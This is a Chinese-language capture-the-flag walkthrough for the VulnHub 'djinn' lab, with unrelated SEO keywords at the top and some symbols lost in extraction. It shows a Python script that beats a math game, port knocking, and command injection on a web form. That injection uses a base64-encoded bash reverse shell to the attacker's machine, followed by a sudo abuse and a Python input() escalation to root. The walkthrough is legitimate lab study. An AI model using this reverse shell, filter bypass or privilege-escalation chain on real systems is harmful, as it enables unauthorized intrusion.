营销型网站的建设重点是什么意思,软件网站关键词优化,网站开发 php 实例教程,网站建站智能系统一、测试环境#xff1a;
kail攻击机#xff1a;Get Kali | Kali Linux
靶场镜像#xff1a;https://download.vulnhub.com/djinn/djinn.ova
描述#xff1a; 该机器与 VirtualBox 和 VMWare 兼容。DHCP 将自动分配一个 IP。您将在登录屏幕上看到 IP。您必须找到并读取分…一、测试环境
kail攻击机Get Kali | Kali Linux
靶场镜像https://download.vulnhub.com/djinn/djinn.ova
描述 该机器与 VirtualBox 和 VMWare 兼容。DHCP 将自动分配一个 IP。您将在登录屏幕上看到 IP。您必须找到并读取分别存在于 user.txt 和 root.txt 中的两个标志user 和 root。
二、测试过程
1、端口扫描
靶机开机给出目标地址使用nmap进行端口扫描tcp和udp都扫一下多扫两边
扫描已找到的端口服务版本信息等 nmap漏洞脚本扫描端口服务没什么有效信息 2、服务漏洞查找
a、FTP服务匿名访问
尝试允许匿名访问下载文件 查看文件creds.txt中有一个nitu:81299账号密码先保留。
game.txt文件中提到1337端口有一个游戏通过最后一关会有奖品保留信息。
message.txt文件中提到nitish81299,后面没啥用和第一个文件中有重复没明白。 b、1337端口数字游戏
先看看1337端口是个数字游戏需要回答1000次才能通过实际回答了1001次自己不会写用AI写了个python脚本跑一下。 python脚本如下 import telnetlib
import re# 目标服务器的IP和端口
host 192.168.229.151
port 1337# 建立Telnet连接
tn telnetlib.Telnet(host, port)# 用于匹配运算表达式的正则表达式
pattern re.compile(r\((\d), \([\-*/])\, (\d)\))count 0
while count 1002:data tn.read_until(b).decode(utf-8)print(data)match pattern.search(data)if match:num1 int(match.group(1))operator match.group(2)num2 int(match.group(3))result Noneif operator :result num1 num2elif operator -:result num1 - num2elif operator *:result num1 * num2elif operator /:result num1 // num2tn.write(f{result}\n.encode(utf-8))count 1tn.close() 跑完发现三个数组可能是端口号尝试telnet发现不同通网上看贴子博主说是knock:
端口敲门是一种通过按照特定顺序向服务器的一系列端口发送连接请求通常是 TCP 或 UDP 数据包来触发某种动作如开放特定隐藏服务端口、允许访问等的技术。其目的在于增加服务器安全性让服务对于未按特定敲门序列进行访问尝试的外部连接保持隐匿状态只有知道正确敲门序列的客户端才能最终获得所需服务的访问权限。 那就使用kali自带的knock工具敲一下端口然后telnet 22果然通了目前没账号密码爆破也没用,先放着 c、7331端口WEB服务
端口扫描看到7331端口为http访问到一个界面没找到什么有效信息 对网站目录扫描
dirsearch目录扫描默认没扫出来使用dirbuster字典扫到两个路径 dirsearch -u http://192.168.229.151:7331 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt 3、获取低权限shell
访问/wish页面看到一个类似可执行的输入框尝试能否执行命令 查看源码存在命令执行且有回显可以尝试反弹shell 生成一个反弹shell,写入对话框kali机监听8080端口web页面执行反弹shell,查看源码发现回显报错“Wrong choice of words”提示单词错误可能有过滤使用base64编码测试成功
原反弹shell: bash -i /dev/tcp/192.168.229.152/8080 01 base64编码后做解码的反弹shell: echo YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjIyOS4xNTIvODA4MCAwPiYx|base64 -d |bash 获取shell之后要做的第一件事是获取一个tty因为在执行有些命令发现提示“su: must be run from a terminal”
python获取tty python -c import pty;pty.spawn(/bin/bash) 发现当前目录下有两个文件夹三个文件寻找有效信息打开app.py发现是做了过滤操作且有一个/home/nitish/.dev/creds.txt文件也被过滤先留着 找到一个user.txt但是权限不够没看到root.txt估计只有root权限才能看到 那就再看看/home/nitish/.dev/creds.txt文件 似乎是一组账户密码直接su过去试试可以登录 切换当前用户目录查看第一个flag 4、权限提升
使用sudo -l查看发现sam用户执行genie命令不需要密码 查看genie命令使用方法-h查看用法不全使用man命令查看说明 发现共有五个选项可使用-p /bin/sh没用 -cmd选项可以直接进入sam用户权限 再次使用sudo -l 命令查看有一个/root/lago命令sudo -u root /root/lago需要sam密码sudo /root/lago可以使用进入四个选项都没找到有效信息 无果后使用find查找可写入文件 find / -writable -type f 2/dev/null 发现一个python编译后的文件导出反编译查看代码发现回答第二个问题时输入变量名num将执行/bin/sh
反编译结果 #!/usr/bin/env python # visit https://tool.lu/pyc/ for more information # Version: Python 2.7 from getpass import getuser from os import system from random import randint def naughtyboi(): print Working on it!! def guessit(): num randint(1, 101) print Choose a number between 1 to 100: s input(Enter your number: ) if s num: system(/bin/sh) else: print Better Luck next time def readfiles(): user getuser() path input(Enter the full of the file to read: ) print User %s is not allowed to read %s % (user, path) def options(): print What do you want to do ? print 1 - Be naughty print 2 - Guess the number print 3 - Read some damn files print 4 - Work choice int(input(Enter your choice: )) return choice def main(op): if op 1: naughtyboi() elif op 2: guessit() elif op 3: readfiles() elif op 4: print work your ass off!! else: print Do something better with your life if __name__ __main__: main(options()) 再次使用sudo /root/lago进入第二个问题输入num进入root权限使用find查找root.txt没找到进入root目录下看到proof.sh可执行文件查看或者执行拿到最后的flag